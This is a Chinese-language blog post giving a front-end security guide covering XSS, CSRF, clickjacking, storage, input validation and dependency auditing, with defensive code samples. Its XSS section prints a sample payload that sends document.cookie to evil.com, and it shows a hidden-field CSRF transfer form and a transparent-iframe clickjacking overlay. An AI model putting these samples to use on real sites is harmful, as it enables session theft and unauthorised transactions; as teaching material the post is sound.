当前位置：首页 > news >正文

前端安全防护指南：守护你的应用安全

news 2026/5/14 19:44:33

前端安全防护指南：守护你的应用安全

大家好，我是蔓蔓。在大厂时，我参与过多次安全审计和加固工作。安全是一个容易被忽略但又至关重要的方面。今天我来和大家分享前端安全防护的完整方案。

XSS攻击防护

原理

// 危险示例 const userInput = '<script>alert("XSS")</script>'; document.getElementById('content').innerHTML = userInput; // 直接插入HTML // 攻击者可以注入恶意脚本 const maliciousInput = ` <script> // 窃取Cookie fetch('https://evil.com/steal?cookie=' + document.cookie); </script> `;

防护措施

// 1. 转义特殊字符 function escapeHtml(str) { if (typeof str !== 'string') return str; return str .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // 2. 使用textContent代替innerHTML document.getElementById('content').textContent = userInput; // 3. 设置Cookie HttpOnly // Set-Cookie: sessionId=xxxxx; HttpOnly; Secure // 4. 内容安全策略(CSP) const meta = document.createElement('meta'); meta.httpEquiv = 'Content-Security-Policy'; meta.content = ` default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; `; document.head.appendChild(meta);

CSRF攻击防护

原理

<!-- 攻击者网站上的恶意表单 --> <form action="https://yourbank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000000"> <button type="submit">点击领取优惠</button> </form> <!-- 用户点击后会自动发送请求，如果用户已登录，Cookie会被自动带上 -->

防护措施

// 1. 使用CSRF Token async function fetchWithCsrf(url, options = {}) { const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content; return fetch(url, { ...options, headers: { ...options.headers, 'X-CSRF-Token': csrfToken }, credentials: 'same-origin' }); } // 2. 使用SameSite Cookie属性 // Set-Cookie: sessionId=xxxxx; SameSite=Lax; HttpOnly // 3. 检查Referer和Origin头 // 服务端验证请求来源

点击劫持防护

原理

<!-- 攻击者网站 --> <style> .malicious { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1000; } </style> <!-- 在你的网站上面覆盖一个透明层，诱导用户点击 --> <iframe src="https://your-site.com" class="malicious"></iframe> <button style="position: absolute; top: 100px; left: 100px;">点击领取</button>

防护措施

<!-- 设置X-Frame-Options --> <!-- 响应头: X-Frame-Options: DENY --> <!-- 响应头: X-Frame-Options: SAMEORIGIN --> <!-- 使用Content-Security-Policy --> <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self'"> <!-- JavaScript检测 --> <script> if (self !== top) { top.location.href = self.location.href; } </script>

前端存储安全

// 1. 不要在localStorage存储敏感信息 // ❌ 错误 localStorage.setItem('password', 'secret123'); localStorage.setItem('creditCard', '4111111111111111'); // ✅ 正确 // 使用HttpOnly Cookie存储会话信息 // 2. 敏感数据加密存储 import CryptoJS from 'crypto-js'; function encrypt(data, key) { return CryptoJS.AES.encrypt(JSON.stringify(data), key).toString(); } function decrypt(ciphertext, key) { const bytes = CryptoJS.AES.decrypt(ciphertext, key); return JSON.parse(bytes.toString(CryptoJS.enc.Utf8)); } // 3. 清除敏感数据 function clearSensitiveData() { sessionStorage.clear(); // 不要清除localStorage，因为可能有用户偏好设置 } // 4. 使用安全随机数 const secureRandom = window.crypto.getRandomValues(new Uint32Array(1))[0];

输入验证

// 1. 客户端验证 const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; function validateEmail(email) { return emailRegex.test(email); } function validateUrl(url) { try { new URL(url); return url.startsWith('http://') || url.startsWith('https://'); } catch { return false; } } // 2. 使用DOMPurify处理HTML import DOMPurify from 'dompurify'; function sanitizeHtml(html) { return DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'], ALLOWED_ATTR: ['href', 'title'], FORBID_TAGS: ['script', 'style', 'iframe'], FORBID_ATTR: ['onerror', 'onload', 'onclick'] }); } // 3. 防止注入攻击 function escapeSql(str) { // 实际上应该使用参数化查询，不要自己拼接SQL return str.replace(/'/g, "''"); }

依赖安全

// 1. 定期检查依赖漏洞 // npm audit // yarn audit // 2. 使用npm audit fix自动修复 // npm audit fix // 3. 使用锁文件 // package-lock.json // yarn.lock // 4. 使用npm ci代替npm install // 确保安装的是锁文件中指定的版本 // 5. 使用Snyk等工具监控依赖安全